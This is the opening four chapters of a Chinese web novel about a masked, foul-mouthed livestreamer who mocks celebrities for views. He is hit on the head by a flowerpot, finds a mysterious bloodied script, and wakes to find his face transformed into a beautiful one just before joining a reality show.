《当废物直男捡起万人迷剧本》
1. 第 1 章
“噔噔蹬蹬——”
车厢内,随着提示音响起的还有一道温柔女声:
“各位乘客,福缘南苑到了,本次列车终点站桂花东路,下一站榕城北,欢迎您乘坐7号线......”
随着交错的光影闪过,稀稀疏疏的人影进入了车厢,车内其他乘客无意识抬眼扫过这些新上车的乘客,随后就漠不关心的移开目光。
而垂着脸擦着短裙上一点污渍的徐穗穗头都没抬——是刚刚那支香草冰淇淋融化后沾上的。
即便擦去表面那层黏腻的甜液,可它依旧变成了晕开的污点,藏在薄群青的裙摆褶皱中若有若无,叫人心生烦躁。
“穗穗,穗穗。”
身旁小姐妹压低了激动的声音,这会儿揪着徐穗穗胳膊在不停晃着。
“你快看,对面刚上来了个帅哥。”
正值盛夏的午后,又是周六,因而车上的人并不多,徐穗穗一边压着裙上的污点,一边顺着曾雅莹话的抬头看向了对面。
对面的座位上一共只坐了三个人。
最左边是个挽着头发穿着身粉绿斜块拼色长裙的女人,中间是个谢顶的中年胖男人,短衫叫汗水晕开了大大小小的图层,这会儿他的目光不自觉往右侧女人的腿上看去......
很显然,这两人都不是。
剩下的,就只有最右边那个裹了一身黑的人——有些微卷的黑发、黑色的防晒服微微敞开了些,露出的脖子很白,勉强还能加一句黑蓝色的长裤衬得他腿挺直,挺瘦......然后,没了。
徐穗穗克制着自己翻白眼的不礼貌行为,低下头继续跟裙子上的污点较劲。
“怎么样,怎么样穗穗?”
“......是个男的。”
曾雅莹显然不满意徐穗穗敷衍的态度。
她压低声音说起了细节,:“穗穗,你看他的手,他的手指那么长那么好看,我在网上的那些手模身上才见过,你看他的眼睛,你再看......”
徐穗穗忍不住对着曾雅莹翻了个白眼,“你是真的饿了。”
“这年头妖魔鬼怪这么多,不敢露脸的你也敢信是帅哥?”
曾雅莹低声辩解道:“帅哥也是那种有氛围感的......”
闻言抠着裙子上污点的徐穗穗直接笑出了声:“去头可食是吧?!”
见曾雅莹还要说什么,徐穗穗扭头看向她:“他裹得这么严实,我都不知道你是从哪里看出来他是个什么模样的?”
说着徐穗穗又看了两眼对面的所谓帅哥,“哦,只看他穿的,嗯,品味是不错,是VNA家的夏款......可你说巧不巧,我前两天跟组的时候还就真近距离见过真的。”
“莹莹,仿品和真品是有区别的。”
“还有他的头发,发型不错,你要说这是优点,那确实也算,可哪个傻*在车上还刻意凹、造、型?”
曾雅莹挠了挠脸:“现实里大家又都没有活在补光灯下,你是个化妆师,总该知道......”
徐穗穗松开了压着裙子的手。
她凑近了曾雅莹,脸上露出笑容:“莹莹,他还穿了增高鞋哦。”
顺着话看清楚那双鞋的曾雅莹沉默了,随着沉默的还有些微妙的尴尬。
曾压雅莹低着头打开手机,随便翻开短视频乱划,很快手机里响起主播那道格外尖酸刻薄的嘲笑声——
“......对,那部热门电视剧我看了,你要问我看了个什么?哈哈哈哈哈,等会儿,等我先笑会儿。”
“剧情,哦哈哈哈,咳咳咳,要我说——”
刻意的拉长音后传来了十分蹩脚的咏叹调:“哦,我的上帝,这他么演的都是什么东西?”
“这不就是剧组人手一坨屎,调和均匀糊在观众脸上?”
“还有那位男主角,对,我说就是他,你问我他的名字?哈哈哈,这是还用我说出来的?大家难不成都不认识他?”
“对他,我只想说——哦,我的上帝,我发誓,我是真的,真的,真的很想用脚尖狠狠亲吻他的屁股,顺便诚挚的问候他——小(哗)可(哗)爱(哗)你演的这是什么瞎几把东西?”
“歪嘴斜眉瞪着眯眯眼,这是‘歪嘴龙王’叫马桶搋巴住脸,对着嘴,吸成精转世了吧。”
手机里传来的刻薄骂声吸引了周围人的注意力。
曾雅莹红着脸,手忙脚乱的戴上了蓝牙耳机。
听着自己有些失真的声音从对面女孩的手机里传出,哪怕在车上也一直挺直胸背凹造型的宋枝月忍不住抬起脸,向着曾雅莹投去了赞许的眼神——真有眼光。
等看到曾雅莹面色不太好看的双手飞快在屏幕上敲击着什么,宋枝月赞许的目光一顿,飞快收回——
看这架势,八成又是个追着“giegie”比心心的人。
而追星少女的‘giegie’们稍有热度的,宋枝月都可耻的使劲追在后面踩了个遍,毕竟,没热度的不赚钱。
眼见曾雅莹的脸色越来越红,宋枝月忍不住调整了下口罩,将自己遮的严严实实,之后他更是避开了和对面略显气愤的姑娘所有有可能的接触,嗯,甚至目光接触。
现实里唯唯诺诺,网络上重拳出击,说的就是宋枝月这种烂人。
宋枝月,只听名字,仿佛沾着点唐诗宋词的文学气。
年少时的宋枝月倒也真有几分文气,准确来说,更像是裹了层珍珠粉的鱼目。
岁月冲刷掉了那层熠熠生辉的珍珠粉,藏在里面的鱼目立马现出原型,掉在人堆里平凡的找不出来了。
网络直播兴起后,渴望暴富捞金的宋枝月阴差阳错入了这行。
可废物就是废物。
游戏,游戏玩的不行,才艺才艺没有,更不用说整个什么绝活了,就连拉下脸来当个乐子逗乐大家,宋枝月都做不到......直到那日醉酒后嘴臭的一通输出,叫他发现了一条新的‘光辉大道’。
怀着对生活的极度不满,怀着对那些光鲜亮丽‘废物’卖脸吃轻松饭的狠狠鄙视,宋枝月成了活跃在网上的‘最强嘴臭王者’。
他靠着刻薄又恶毒的歹毒言辞挖苦、挑刺那些影视作品,靠着讽刺有热度的明星博取流量和热度。
不过自打踏上这条赛道后,宋枝月就一直都不敢露脸了。
一方面是他嘴真的毒,为了流量和钱无所不用其极的输出。
在网络上的时候,宋枝月就像是多了层脸皮,那些日日夜夜敲着键盘应对的‘网战’甚至是‘网暴’他是一点都不带怕的。
掀起骂战时,他自己那更是垃圾话快的飞起,彪悍的舌战八方。
网上跳的太高,得罪的人太多,现实里宋枝月难免有些气短。
另一方面..
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....下了地铁,透过手机屏幕偷偷看着自己那张脸的宋枝月眼神有些恍惚。
怎么说呢——宋枝月的五官,个顶个长的都格外有特色了些。
眼睛是眼睛,含着小星星。
鼻子是鼻子,英挺又秀气。
嘴是嘴,漂亮的薄情......可它们却非常不和谐的紧凑在一起,很有种分开满天星,聚是一坨屎的感觉。
但偏偏又没有丑的很有特色,劣势优势相互抵消,平凡的像种罪过,跟那些被他嘴臭的明星比起来,可就太扎心了。
宋枝月不露脸,网上那些凭空攻击他长相的,他就当那些人在造谣放屁。
偶尔花几小时精心做好造型,戴着口罩,打好灯光,仔细调整好角度,露出眼睛被吹成帅哥的时候,宋枝月的虚荣心会得到满足。
可假的就是假的。
虚荣过后的空虚叫宋枝月背地里疯狂嫉妒那些面容姣好的帅哥,他打心眼里最是‘瞧不上’那些靠脸吃饭的人。
那些个被捧得高高的纯废物,不就是靠脸才不费吹灰之力吃上了香喷喷的饭么?
要是他能有一张那么好看的脸,最好是人见人爱,轻轻松松的过上好日子......
踏进阴凉的小巷子,热的直擦汗的宋枝月目光有些空,他有些茫然的想——他愿意付出任何的代价。
“咣当!!!”
叫从天而降花盆砸在头上的宋枝月连哼都没哼一声,直接一头栽在了地上那堆废纸似的烂册子上。
有血迹慢慢落了下来,洇在纸上,上头隐约可见《万人■的■■剧本》字样。
......
“滴滴哒哒,张哥来电话了。”
“滴滴哒哒,张哥来电话了。”
趴着的宋知月下意识摸向了胸前正不停震颤的手机,滑动接听——
“野火!”
“你踏马的**!”
“你**的个龟儿子还在外头游什么呢?”
“都给你说了签约的事,你还不当回事?老子踏马的**等了你一个下午!”
“现在,立刻,马上滚回来!!!”
手机那端响亮的骂声震的宋枝月整个人清醒了些。
他刚含糊的应了一声,对面就挂断了。
宋枝月慢慢坐起,眼前发黑了好一会儿他才看清不远处摔得四分五裂的空花盆。
他伸手摸了摸后脑勺。
“嘶——!”
宋枝月登时龇牙咧嘴疼的一个激灵。
看着手上的血迹,他仰头看着楼上——这是个‘老破小’,听说要拆迁,监控早八百年坏了也人管。
要不是为抄近路和乘点阴凉,宋枝月也不愿意来这。
再看看手机,马上七点了......
宋枝月撑着地想起身,手上却按住了什么东西。
眯着眼一看,是堆沾着血迹的烂册子,上头有个剧本的字样。
剧本?
这玩意的范围就窄的多了,说不定能找到人。
不甘心被平白砸一下的宋枝月,就想找个沾边的负责。
他勉强将这破剧本卷成卷塞在衣裳里,随后晃悠悠的起身,扶着墙缓了缓晕昏昏的恶心。
等缓过了劲,他深一脚浅一脚的扶着墙慢慢走出了巷子,朝着最近的药店走去。
......
2. 第 2 章
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“张哥。”
瞥了阿奇一眼,张诚吐了个烟圈,他掸掸烟灰:“野火那小子来了没?”
阿奇摇摇头:“野火哥还没来。”
宋枝月嫌弃自己的名字娘里娘气的一点也不阳刚,于是给自己起的网名,叫做‘歘日野火你大哥’。
在那条堪称炸裂的赛道上,宋枝月播了近一年,黑的发热,公司里给面子的叫他野火哥。
“妈的。”
见张诚不耐烦骂人的模样,阿奇道:“张哥,野火哥说不定是叫什么事情耽搁了,更何况,他现在这么火......”
“嘁,他能火到什么时候?!”
张诚不屑的将烟丢在地上,又踩在脚下使劲碾了碾。
“这个小子就是茅坑里的石头,又臭又硬!”
“以前他嘴臭,那是人家都不和他计较。”
“现在人家腾出手要收拾他个小瘪三,他还能蹦跶多远?!”
宋枝月是火起来了。
可他火的方式不太正经。
他嘴臭,怀揣着对生活的不满,在越发尖酸刻薄的这条路上实属天赋型选手。
而他又蠢,贪图热度却不会把握分寸,得罪的人海了去了。
商家找代言是为了推广。
推广的目的归根结底是为了卖商品赚钱。
但就冲网上那些他得罪过的乌泱泱一群粉丝上头到恨不能撕烂他生吞了的劲,哪个商家敢头铁的沾上这么个‘毒瘤’?
当年他冲上热搜第一的时候也没人敢。
看宋枝月直播的人里什么成分的都有。
那些得罪过的明星粉丝是他的黑粉,肯定不会给他刷钱。
看热闹的乐子人也不愿意花真金白银做冤大头,其他零零散散愿意花钱的少的可怜。
更何况,宋枝月在网上直播的时候也容易上头。
都不用乐子人搅和,他自己冲起来都能撕一个血雨腥风,都顾不上要礼物的事......若仅仅是如此,张诚也不算多讨厌宋枝月。
可坏就坏在宋枝月控制不住那张臭嘴,又实在不会做人。
就像上次,张哥收了‘明月剑心堂’剧组的钱,特意吩咐宋枝月在直播挑刺的时候迂回一点,最好是明讽暗褒的程度。
宋枝月有骨气么?
在乎名声么?
可拉倒吧,他要是在乎,就不会在这个赛道上混的风生水起了。
宋枝月就是爱钱,当时他可是冲着张哥拍着胸膛保证办好的。
他甚至还提前写了稿子,联系张哥和剧组通气,搞了些男主杜若明看起来犯错,其实能洗白有翻转的事。
宋枝月还盘算的很好——
等网上直播的时候,他先拿那些假料讽刺杜若明。
等杜若明洗白翻转后,他的那些粉丝就能扬眉吐气的讥讽宋枝月瞎眼。
他拿热度,剧组满意,皆大欢喜。
可废物就是废物,计划的好好的事,愣是毁在宋枝月容易上头的臭嘴上。
脸都像被扇肿了,低声下气去赔礼道歉的张哥,那叫一个恨啊。
类似的事甚至都TM的不止一件,张诚能喜欢宋枝月才怪。
更何况现在网络传播那么发达,宋枝月又太能跳腾,跳腾的背后那些大力捧着‘摇钱树’割韭菜的‘ZB''都不满意了,不按死他按死谁?
“等这份合约签了,往后,就再没他这个臭嘴什么事了。”
想起那份合约,入行没多久的阿奇都有些踌躇。
“张哥,野火哥,野火,他网上的‘粉丝’是真的有些多,他要是去综艺露脸,那还不得......”被真实出来网暴的搞死啊。
“阿奇。”
张诚看着自己从乡里带出来的穷亲戚,指着他的脑袋恨铁不成钢:“上头的大老板都发话了,野火那小子的直播往后肯定是做不成了。”
“你说说,他除了那张戳人肺管的臭嘴,他还有个什么?!”
“那就是个废物。”
“傻逼!”
“做人不会做,眼色也不会看,让他卖卖脸吧,更是个连脸都不能露的丑八怪!”
想起一年前隐约见过的那张脸,张诚眯着眼不屑的笑了一声。
“现在他得罪的人多,看热闹的也多,网上多的是人好奇他的模样,这就是他的价值。”
“等榨干这点价值,他就是个垃圾,垃圾不进垃圾桶里待着,还要放到公司里吃闲饭不成?要我说......”
阿奇沉默的听着,张诚却忽然没了声音。
他一抬头,就见张诚满脸关心的朝着他身后疾步走了过去。
“野火,你这是怎么弄得?”
阿奇一回头,就见垃圾,啊,不对,野火来了。
依旧是那身裹得严实的行头,唯一不同的是脑袋上多了一圈白纱布。
见张诚伸手,想起伤口那一下疼的激灵的宋枝月下意识歪了歪头避开:“对不住,对不住张哥,我不是故意来迟的。”
“我早早的坐地铁过来,结果路上叫楼上掉下来的花盆给砸了一下。”
张诚收回手,这会子他脸上关心,心里却颇有些幸灾乐祸——活该!
老天爷都看不惯这嘴臭的小王八蛋跳腾。
关心了几句,想着宋枝月砸了脑袋,张诚忽悠人越发来劲了。
他拉着宋枝月的胳膊就进了屋里,从抽屉里掏出一份合约。
“野火,这是香蕉台递过来的综艺合约。”
香蕉台?
一听这名字,宋枝月的目光就忍不住落在了这合约上。
这年头,除了央妈,地方上就属香蕉台最火热,知名度最广,当然这名声也不是啥好名声,颇有种娱乐至死的疯狂感。
“张哥,这,这真的是给我的?”
看着宋枝月动心的模样,张诚点点头:“野火,这档子综艺是香蕉台下半年的重点项目,是砸了重金,花了大手笔筹备的直播综艺。”
“你现在网上很有热度,人家请你去就是为了开场的时候,就把这个节目炒的更热一些。”
等诸如此类说了几句空话,张诚开始走心了:“野火,现在就咱们哥俩,哥也不瞒你,他们请你去,其实就拿你当个开幕的噱头。”
“毕竟邀请的那些明星里,就有好几个是你直播时......提到过的。”
“节目组给你送来的只是一期的短约,你还需要配合综艺剧本被打脸,被人嘲讽......”
张诚这些话说的难听,但宋枝月瞧着明显更心动了。
他做梦都想将热度换成钱。
配合剧本就配合剧本。
他不信自己会比那些**演的更烂。
至于被骂?
被骂一骂而已,又不会少块肉。
法治社会,见了面谁还会动手不成?
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敢动手他就敢躺。
到时候不讹上个万八千的不算完。
宋枝月的手伸出去了。
可刚要拿合约,他又犹豫了一下,转而去摸自己脸上的口罩。
“张哥,我一直就没想露脸,这要是去直播综艺......”
张诚顺势将合约往宋枝月的方向推了推,一脸小事的轻松。
“嗨,这算个什么事?”
“就算你露脸,又能播出去多少?”
“人家观众爱看的都是明星,对你不过是有点好奇。”
“等知道你啥样不就不好奇了?还能放着明星不看,追着你看不成?”
见宋枝月不说话,张诚又揉揉眉心,一脸疲惫的叹道:“野火,哥也是看着你直播起来的。”
“哥脾气暴,一着急了说话难听,可哥确实没坏心,对你也算掏心掏肺了。”
“你现在看着火,可实际上能赚多少钱?”
“你得罪的粉丝太多了,商家都不敢找你代言。”
“你不是个女的,没大哥给你刷礼物,你又拉不下脸要。”
“以前你名气不高,那些人不和你计较,可你现在名气起来,圈子里的那些人,哪能再由着你随便抹黑‘摇钱树’?”
“你现在直播的方式是踩着悬崖边呢。”
“你自己掂量掂量,是不是这么个事?”
“听哥的话,抓住机会去节目上露露脸,到时候换个方向指定比你现在容易。”
“等你上综艺有个名气了回来,咱们再续签公司的直播合约,到时哥在老板那争取给你谈个A类的。”
张诚这般‘掏心窝子’的话,宋枝月明显是听去了。
他伸手拿起合约,认真的:“哥,你让我想想,明天我保准给你个满意的答复。”
“行,有你这句话哥就放心了。”
张诚看着宋枝月头上的伤,叮嘱道,:“你头上还有伤,今晚的直播就算了。”
“这些日子你好好休息休息,好好养伤。”
“到时候去节目上好好露露脸,哥等着在节目里看你。”
看着感动的不行的宋枝月走了出去,张诚靠在椅子上都没忍住笑了起来。
笑了会儿听手机铃声响了,掏出一看来电人,张诚立即坐直了身子:“老板。”
听着电话那头的问话,张诚连连点头应声:“是,是,那小子保准就答应了,您放心,绝对不会耽误事。”
“您说他的模样?”
听到这话的张诚嘿嘿笑了两声。
“见过,我真的见过。”
“诶呀,老板,我跟你说,怪不得那小子不敢露脸呢,一露脸,保准被骂的更厉害。”
听着电话那头老板又说了什么,张诚斩钉截铁的道:“是,我敢保证,那小子这辈子都吃不了靠脸的这碗饭!”
“对,老板,我看了日期,等他去参加那档子直播综艺的时候,跟咱们公司的合约也到期了。”
“我办事,您放心。”
“绝对不会砸在手里,叫他回来吃公司‘低保’的,是,是,我明白,您放心,您放心。”
等挂了电话,张诚脸上的笑意还没消退。
他一只手捏着手机靠在椅子上,两只脚搭在桌上,十分得意,摇头晃脑的唱了起来。
“我自有万般张良计,这黄口小儿,定叫他有来无回......”
......
3. 第 3 章
*
“是,今晚播不了了,受伤了得休息两天。”
赶回家后宋枝月登上直播间,刚说了几句话,看着他脑袋上的白纱布,屏幕上弹幕刷的飞起。
【该!!!】
【“哈哈哈,贱人自有天收,你这个嘴贱的**活该被****”】
【“怎么只是被砸了一下?哦,我的意思是疼不疼?好吧,其实我想说的是咋没砸死你个满嘴造谣,该被天打雷劈的贱人?!”】
【“你个***的天天在网上造谣,老天爷都看不下去了吧,报应,报应啊!”】
【“呜呜呜,真的心疼giegie你受伤,冒昧问一声,giegie你什么时候闭眼?我好给你寄花圈。”】
【“对啊,主播你家在哪?你说个地址,我没别的意思,就是特别想给你寄点家乡的土特产。”】
.......
各式各样,长长短短,花花绿绿的弹幕齐刷刷的刷过,无一不是在万分诚挚的‘祝福’宋枝月两腿一蹬,两眼一闭,早登极乐。
但这些对宋枝月算个啥?
不过是他与隔着山山海海的‘网友们’,恨不能掏心掏肺的双向‘福报’罢了。
给了个交代的宋枝月自顾自关了电脑,靠在椅子上休息了一会儿就摘了隐形眼镜去卫生间洗漱。
对,宋枝月还是个近视眼。
不过他脸上遮的够严实了,再戴个眼镜忒难受,所以平日里戴的是隐形。
进了卫生间也是黑的,灯坏了挺久,可宋枝月一直没换。
这是他租的房,一室一厅一卫,卫生间隔开一个淋浴的地方,拐角处还有个小小的厨房。
房子挺旧的,没有电梯,但胜在价钱便宜。
原本宋枝月是在公司直播的。
不过那次直播差点叫上头的粉丝给堵在公司后,他就在租的房里播了。
洗漱完出来宋枝月换了衣裳,随手关了刺眼的补光灯,只留下屋里略显昏黄的光。
他打开手机摄像头,专门对着伤口处拍了照片,纱布裹得挺严实,没有渗血。
小诊所里的大夫包扎的挺用心,还一再嘱咐宋枝月去医院检查一下。
自觉没什么恶心头晕的感觉,宋枝月就不想去医院花那个冤枉钱。
要是能找到花盆的主人,这医院才值得去......想起这事,宋枝月的目光落在了桌上。
上头摆着两份文件——
右手边是份纸面平整的合约。
左手边是个沾着斑斑血迹,缺页少纸的破烂剧本。
讲真的,要不是封面的剧本两字显眼,那会儿宋枝月又晕乎乎,他压根就不会带串破烂回家。
可既然现在带都带来了......
宋枝月伸手拿了副眼镜戴上,拉开椅子,坐下,将那个烂本子扒拉到了眼前。
《万人■的■■剧本》
封面上糊着脏污和血渍的字迹,已经看不清了。
昏黄的光映在上面,这破烂活像是从哪个凶杀现场扒拉出来的玩意。
掀了掀眼镜,宋枝月很是冷静的翻开了剧本的第一页——
【有人在跟踪他。】
【这种熟悉的感觉不会错。】
【像日日夜夜缠在身上绞紧的■■,呼吸间要钻进身体。】
【进了屋,关上门,拉上锁链,他有些神经质的咬住手指,缩在等身高的玩偶熊后面,瞪大了眼睛注视着眼前的门。】
【咚—咚—咚,门响了。】
【他垂着头颤抖着手慢慢捂住耳朵,闭上眼强忍住了窒息的晕眩。】
【嘘,嘘——他们来了。】
???
看完第一页上面的内容,宋枝月是看了满肚子的疑惑。
这是个什么玩意?
宋枝月还没接触过电视剧或者电影剧本这种‘高大尚’的东西。
他只能随便瞎猜,嗯,这可能是某一个试镜的片段?
这页没怎么看明白的宋枝月,耐着性子往后又翻了一页——
【今天是周一。】
【天色渐渐暗了,坐在奢华装饰客厅中的人影一直仰着头,望着二楼。】
【一片寂静中,门口传来按压密码的声音。】
【很快,大门开了。】
【一个风度翩翩,衣着体面的高大男人走进来,他淡淡看了眼沙发上雕塑一般坐着的人影,从容解着衣领处的扣子,不紧不慢的上了二楼。】
【嘀——!】
【大门又开了,不同的身影接连上了二楼。】
【空旷的客厅里隐约能听见上头传来的哭声,但那急促的哭声很快就被什么堵着,硬生生吞了进去。】
【人影静立在客厅,垂着头祈祷今夜房中的他不会太难受,毕竟他们答应过,今晚会温柔一些。】
【是的,他爱他,无论什么境地里。】
“操!!!!”
耐着性子将这段话来回看了几遍,猛然看懂了的宋枝月,惊吓中直接将手里的剧本甩了出去。
“我艹你***的!”
写这玩意的变态,到底是个什么品种?!
虽然片段里出现的主角,是他而不是她,可宋枝月显然并没有在意这个细节。
甚至潜意识里,他觉得这种堪比小黄文里的故事,印错几个字是再平常不过的事了。
叫那些阴暗诡色又隐秘刺激的文字一吓,宋枝月是没心情继续研究这破剧本了。
他摘了眼镜靠在椅子上。
不知道是因为吓了一跳扯到了伤口,还是为那荒诞的情节,宋枝月眼神有些恍惚。
直播或者说网红也沾着点娱乐圈的边。
从边角缝隙里窥探到的那个五光十色,吞噬欲望的名利场实在诱人。
可再诱人,不敢露脸又舍不得花钱的宋枝月没能从里面尝过半分甜头。
在这空荡荡的屋子,寂静无声的长夜漫漫里,宋枝月也曾幻想过自己的梦中情人。
都说了是幻想,自然是像白日梦一样,想的越美越好——那是个肤白貌美的富二代女友。
有钱,黏人,贴心。
对,还得有双大长腿,嗯,身高不能超过一米七,毕竟她还会穿高跟鞋。
宋枝月自己只有一米七八,不过他会穿增高鞋,对外就说自己一米八一。
虚空幻想了一会儿自己的完美爱人,缓了缓因为垃圾剧本带来
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的发麻感,宋枝月又戴上眼镜,将香蕉台的综艺合约拉了过来。
《我和X明星的近距离接触》。
这是档直播综艺。
落在宋枝月手里的合约也没有详细讲述到底要直播什么内容,更没有提到其他参演嘉宾是谁。
对宋枝月的要求也简单,除了要求保密和明确规定他需要配合的剧本外,其他的都是正常参加拍摄就行。
开拍时间在八月初六,这一期的拍摄时长为两个月。
除了高额的违约金外,合约的要求并不算苛刻,扣过税款,两个月六万块算的上钱多事少。
可想想香蕉台的风格,那可是一向以大胆和追求收视率著称,颇有种娱乐至死,热度万岁的疯感。
按着习惯,他们最爱请的都是些大流量,热度高,迷妹万千,话题度高的明星。
偏偏那些个大流量、热度高的明星,没被宋知月嘴过、蹭过的......嗯,想想都刺激。
这第一期就这么明晃晃的请宋枝月这个‘网络嘴王’和那些被嘴过的明星面对面——啧啧啧,这绝对是奔着往死里搞事去的。
但宋枝月会怕么?
笑话!
有直播的镜头看着,他才不信这些人敢动手。
到时那些明星站在镜头前,八成一边在心里疯狂骂他,一边却还得虚伪的装大度。
嘿嘿嘿,想也知道,香蕉台拿他去做噱头、开幕的祭品,那是指定不会洗白他。
说不定综艺导演还会要求他在镜头前极尽恶毒的羞辱那些明星,惹得粉丝心疼,最后洗白这些明星们。
你要问宋枝月愿不愿意配合?
他当然愿意啊!!!
想想那些光鲜亮丽的明星,在镜头前为了操人设,不得不被他指着鼻子骂还得忍气吞声,还得大度的表示不在意。
他能耀武扬威整整两个月。
到最后,他必定会倒霉不假,可再怎么样也不能要了他的命吧?
他可是能爽整整两个月!!!
还有什么,能比当着那些破防到追着他在网上没日没夜拼命诅咒谩骂的粉丝面,对着她们捧在手心,无比心疼的‘giegie''用极尽尖酸的嘴脸颐指气使?
宋枝月这个现实里已经遮遮掩掩一整年不敢露脸的小变态,光是想一想整个人激动的指尖都在发颤。
他扶着桌子站起来。
“哗啦”发现脚下踩着那个变态的烂剧本。
宋枝月‘嗖’的一脚就将那剧本踹到看不见的地方,随后他摸出笔,咬开笔帽,在合约上一笔一划的签下了自己的名字——宋枝月。
签完名,宋枝月仔细将合约放好,哼着歌去床上睡觉。
......
惦记着合同的事,第二天宋枝月起的很早。
他掀开被子先去了卫生间。
方便完洗手的时候,宋枝月迷迷糊糊的抬起了头看了眼镜子,随后他低下头关了水,擦了擦手往外走。
走了两步,宋枝月却猛然折了回来——
“嘭!”
他整个人像是砸在了镜子上,瞪大了眼镜死死瞅着镜子里的那张面孔——
“啊啊啊啊!!!!!”
4. 第 4 章
鑫晨直播公司。
早上九点,一道人影飘进公司,毫不停顿的直上三楼,敲门进了办公室。
“张哥。”
听着动静的张诚抬起了头——
!!!
尽管知道‘野火’就是个纯种的傻逼,甚至这个傻叉不管春夏秋冬,每次来都裹得严实的像患有被害妄想症似的。
可看着‘野火’今日份的打扮,张诚还是忍不住被他惊了一下。
对上那双唯一露出来的眼睛,张诚嘴唇抖了抖。
“野火,你,你这是......被通缉了?”
“张哥真会开玩笑。”
透过口罩的声音传出来都像是发闷,宋枝月将手里的合约双手递了过去。
“张哥,这是那个综艺的合约。”
忍住疯狂绕在嘴边,想让宋枝月去好好看看脑子的话,张诚接过了合约。
翻到最后,看着那个签好的名字,张诚伸手从抽屉取了盒印泥。
“你自己的那份合约留着吧,给电视台送去的和咱们公司留份的都得按手印。”
知道公司‘一式三份’的规矩,宋枝月倒没多说什么,乖乖伸手按了指印。
只不过按完指印,宋枝月也没走,他抽了张纸,慢吞吞的擦了擦手指头染上的印泥。
收好合约,看着杵在那打扮的和神经病似的宋枝月,张诚正想打发人出去,又想起了什么,吩咐道:“哦,对了。”
“下一星期那场直播,应该是你进节目组前的最后一次直播了吧?”
“你现在既然已经和节目组签约了,到时候记得给这综艺炒炒热度。”
“直播的时候你怎么放开了怎么来,就算嘴臭些说的难听点也没事。”
“你要是能为这事冲上热搜榜的第一,节目组还愿意给你封个红包。”
一贯提钱就两眼发光的宋枝月,这会儿却只是心不在焉的点点头。
“行,你回去好好准备吧。”
张诚下了逐客令,可站在他面前的宋枝月却还没走。
“张哥,我昨天回去,不是,是今早,现在的直播,不,我现在的样子......”
看宋枝月有些犹豫的摸着自己脸上的口罩像是想摘下来的样子。
张诚显然是误解了宋枝月的意思。
“不用,不用!”
他连忙摆摆手打断了宋枝月的话,还十分认真嘱咐道:“野火,你可得记住了,五天后那场直播,你平时啥样,那天还是啥样。”
“口罩可不能摘,千万遮严实了。”
“你这噱头,得等上了综艺的时候才能摘。”
“提前摘了在网上曝光,算你违约啊。”
“到时哪怕上热搜了也没有红包,你还要给节目组赔一大笔钱。”
赔钱,还是要赔一大笔钱。
这话听得宋枝月摘口罩的动作,下意识变成了按紧的动作。
磨磨蹭蹭不肯走的宋枝月还想说什么,阿奇一脸凝重的从外头冲了进来。
“张哥,张哥,小琪琪的那个榜一大哥......”
刚进来就看见办公室里立着个‘蒙脸丽莎’,阿奇没声了。
见张诚皱着眉摆摆手,知道继续待着不合适的宋枝月无奈退出了办公室。
阿奇忍不住回头看了一眼。
“张哥,那是不是野火......”
“别管野火那个神经病。”张诚不耐烦的打断阿奇的话,“你说小琪琪怎么了?”
“啊,哦,是小琪琪凌晨直播的时候......”
出了办公室,上了电梯的宋枝月摸着口罩靠在墙上出神。
等出了公司,顶着路人奇异目光的宋枝月照常坐公交回了家。
......
“哗啦啦。”
洗手台上水一直流着着,可洗了把脸的宋枝月,却只是看着镜子发呆。
镜子里清晰映出的那张脸上,一夜之间发生了一场奇迹——
原本堆叠、硬凑在一起的五官,像是忽然被神祇从那张拥挤不堪的脸上给拖了出来。
祂怀着的万分悲悯的怜爱轻轻吻过眉间、眼睛、鼻峰......精心挑选了最适合它们的位置,一个,一个,一个的轻轻放了回去。
站在卫生间,对着镜子不知看了多久,直到有水珠滚落,宋枝月才回过了神。
他抖着手接了冷水又洗了一遍脸——
抬头。
还是那张宛若施了神恩的脸。
不,是神爱。
宋枝月不敢再看了。
他摸出手机,查了查自己的余额。
2736.79元。
宋枝月攥紧手机。
这些钱,应该够他去医院看看脑科吧?
看看余额,又看看镜子里的脸,宋枝月不敢再耽搁,他强忍心痛的出了门。
......
“去仁和医院。”
“好嘞。”
这两天没下雨,闷热的天像是裹了火球。
腾出手擦了擦脑门上的汗,司机看着后视镜里裹得严严实实的人目露怜悯。
刚瞅见这人时他还在心里蛐蛐呢,大热天的裹成这样......不想这人真是去仁和医院。
众所周知,H市的仁和医院,是市里最好的脑科医院。
看后座‘病人’一言不发的模样,一贯碎嘴的司机也不敢多说话,他是生怕自己哪句话说不对,刺激的人忽然就发了疯病。
司机是不敢说话,宋枝月是没心情,两人一路无言,倒是很快就到了医院。
付钱,下车。
准身,看着仁和医院几个大字,怀着无比沉痛的心情,宋枝月拖着脚步进了医院。
挂号,就诊,交钱,拍片......
诊室内,负责接诊的是个年轻的男医生,姓陈,戴着眼镜,看着很是斯文。
这会儿小陈大夫握着笔,看向眼前年轻又有点特殊的病人——
因着需要进行检查,这位病人头上裹得纱布都被拆除了。
没有被打理的黑发有些长,还有些微微的卷,垂在脖颈间,黑白分明。
额角那块乌青在瓷白的皮肤上狰狞的张牙舞爪,露在外面的那双眼睛,望过来时带着点茫然和隐约的恐慌。
又一次对上那双眼睛,小陈医生默了默,随后他垂下眼又看了一眼病例单。
这位就诊的病人,头上共有两处伤。
后脑是被高空坠物砸出的伤,但好在没有伤着头骨,没有其他异物插入,CT图像也没有问题,伤口也没有渗血。
前额的伤是倒地后造成的二次磕碰,没有脑震荡的情况下,等淤青散了就好了。
相比其他就诊的脑补外伤患者,这个病人的伤势并不重,但是——
“大夫,我现在的样子变了。”
从开始就一直不肯摘掉口罩的病人,双手按着口罩,用力到指尖都在发红。
他还在不停重复。
“不,应该说,是我从镜子里看到的我,样子变了。”
“我,我昨天晚上之前,不对,不对,我被砸之前,看自己不长这样的。”
“我真不长这样。”
“我从前长得丑,不,不算丑,只是没什么出彩的地方,五官不太和谐......”
小陈医生眼里忍不住有些怜悯。
到现在,他已经大致梳理清楚这位患者的情况了:
患者从事的职业有些特殊,应该在网上具有相对较大的曝光量。
但他对自己的外貌非常不自信,甚至是极度渴望拥有出众的外貌。
又因为不知名的原因,这位病人工作时不仅不露脸,还想方设法的将自己的面孔遮起来,他十分惧怕被别人发现自己的真实长相和现实身份......
这种精神压力,已经严重影响到他现实生活了,即便平日里不工作的时候,他也对自己进行过度隐藏。
“来之前,我又照过镜子了......”想起镜子里那张脸,宋枝月突然没了声音。
